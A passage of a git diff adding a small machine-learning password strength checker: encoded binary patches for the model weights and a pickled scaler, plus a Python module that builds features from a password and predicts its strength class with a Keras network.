z6ob7SClg`VJk;_y7j_1O{Q=wDzV3TKIbmIx)UK<8G_M zWRW|lac;*o9`4tmGV54;5W&Zf8SiFJgz3>U9QG=D5f87pOdT=|B4S_LuweohMV<%b zLoh#ezz(VEA;BEgk?)qC;U)YuZ!P-0 zQV)gsnd8egq5U0dHDw8&8UZf|n0B?n$Yj9(ruR)p(`ni#onnQ~v1^wf(_Ed8;9Gs74UNZ{q2lVbf=G!_sJ^$o+MPC?|zFd0Zl1#$* zT|IF>P0A$jFH6ct5IBtY>oNoBJv<({^hgA;3h>XLZ=#rub`F%qf#vKe(>{?;Btspm zn1%-ey1LP4$}9#vce`YWqOW`yUhMtQ)r;Uc6yn{Hq!b{3ljWg z4CX3GBno2pppgGtjCw;k%|9bHtsA6%EX+Vrk4elnri$ovU8l@~!Uo#U_?WQ^KG^b&&%+)oR@xj#FP zl5c^mSe!<)CuKJ&N^PCO|LHVy0lhxVnVdLy9CsqChhAxlVhbC>$Ohp59KNT48hP4= z)86@8QF~;9OyxGoG^mz^zoY}d*&*Ak%<-l7F5xiW{f7T*MUFUUkws>Jzk8(Th_`}= zQp9vWb46_qwhU045 zC}H|TncLQ=LU@!3@QvLYnU#Cg8JNqn?{GQ??FiQ{U+%2qZ8|G_h{DF+J_@L_yG~G( zw-j&_AKzd$tNTc{eV&d9fDR+Ml1BHY6mg!xKHRPkKrcwW#EnrC(+QJT%c`?ZNVd&9 zMCP3}6q47U z3vG_Uazb_KjTiQz(B`R2nMiL8f5B{8P%e&Lc1U6C-u2i=XV39q4m{SBHHU^t?F)M8 zM)_o{qwXsAC@qRrpMMm)gLz>y$GI^Aw|F9Vejv4Nl0Vnes7%=3@D#_kX|aB&0}FH4 zyB$&KSa7Coy3KSRwvzGKB3JN*dgpSQze-+X_C{o6W!t0GS4y7eCJ@-;<)n?^Uw zs8F|AbZ)l@eLgpm4qIqVH+b+UrK>R-IT`cF0w*Q>`AIc=+4UNFY3N`|bJ06R{QGA7 z1M*_vHT(h=#RNOGD%JpdpM3#(9r_Bv!_;14yi>b0Vf};Ai!<0ga9*EOTG6wq@o36r zvGDWgA!68jfwXnQv{+Y6ed0pY708ZSr{$O-l=aRrc#b?lea4$~JlCL87!7`ZBcV(L z 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 literal 0 HcmV?d00001 diff --git a/Password Strength Checker/model/model.py b/Password Strength Checker/model/model.py new file mode 100644 index 00000000..d7255bd1 --- /dev/null +++ b/Password Strength Checker/model/model.py @@ -0,0 +1,68 @@ +# disable debugging messages +def warn(*args, **kwargs): + pass +import warnings +warnings.warn = warn +warnings.filterwarnings("ignore", category=DeprecationWarning) +import os +os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0' +os.environ['TF_CPP_MIN_LOG_LEVEL'] = '1' +from silence_tensorflow import silence_tensorflow +silence_tensorflow("WARNING") + +import pandas as pd +import pickle + +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import Dense +from model.utils.functions import calculate_entropy, count_repeats, count_sequential +from model.utils.preprocessing import run_preprocessing +from model.utils.training import run_training + +# run preprocessing and training +# run_preprocessing() # uncomment to run preprocessing +# run_training() # uncomment to train the model + +def prepare_input(password): # function to prepare input features from password + # create a dataframe for a single input + data = { + 'length': [len(password)], # calculate password length + 'lowercase_count': [sum(c.islower() for c in password)], # count lowercase characters + 'uppercase_count': [sum(c.isupper() for c in password)], # count uppercase characters + 'digit_count': [sum(c.isdigit() for c in password)], # count digits + 'special_count': [sum(not c.isalnum() for c in password)], # count special characters + 'entropy': [calculate_entropy(password)], # calculate entropy + 'repetitive_count': [count_repeats(password)], # count repetitive characters + 'sequential_count': [count_sequential(password)] # count sequential characters + } + + with open('model/scaler.pkl', 'rb') as file: # load the fitted scaler from file + scaler = pickle.load(file) + + # convert to dataframe + input_df = pd.DataFrame(data) + + # normalize using the previously fitted scaler + normalized_input = scaler.transform(input_df) + + return pd.DataFrame(normalized_input, columns=input_df.columns) # return normalized input as dataframe + +def predict(password): # function to predict password strength + # load the model + model = Sequential() # create a sequential model + model.add(Dense(128, activation='relu', input_shape=(8,))) # add input layer with 128 neurons + model.add(Dense(64, activation='relu')) # add hidden layer with 64 neurons + model.add(Dense(3, activation='softmax')) # add output layer with softmax activation + + # load trained weights + model.load_weights('model/deep_learning_model.h5') # load weights from the trained model file + + # prepare the input + password_to_test = password # assign password to test + input_features = prepare_input(password_to_test) # prepare input features + + # make the prediction + prediction = model.predict(input_features, verbose=0) # predict using the model + predicted_class = prediction.argmax(axis=-1) # get the predicted class index + + return predicted_class # return the predicted class \ No newline at end of file diff --git a/Password Strength Checker/model/scaler.pkl b/Password Strength Checker/model/scaler.pkl new file mode 100644 index 0000000000000000000000000000000000000000..a7002b2ad1c831d22f765a88473c26532ea87541 GIT binary patch literal 851 zcmaKr+e;Ne9LLYab37;Qc#O<$ROCZOwNT&6NS&yWYbFUF}of?;$S2hFpg|VGbBcH3@2_S1lhz$h&wvbAjUAkXr_dbY#KJf zj!d`*4I~2@O?SQBkRBHEbh0vU9XrbovHX}f7V2bbCJiVgVIlX5?_e?O?n<5dsrMwS ztgPJslec6S6A7#9KF$*l>d0syDx+Dt*^00XZ6wL2V-UXMSk}^=3`J|u$in$@+d{Gi z^@VjhG6;67rBTif5shdqzr~_9YIbcIW}6Vtii$BJ;<<;E|fa^y+j011N^)$D4?-P_{JhkJ_$C(}Ve zYxSL>wl`w`(4}|JvYv{}EjO(N;(w)4%uV*~7^?j?wGs4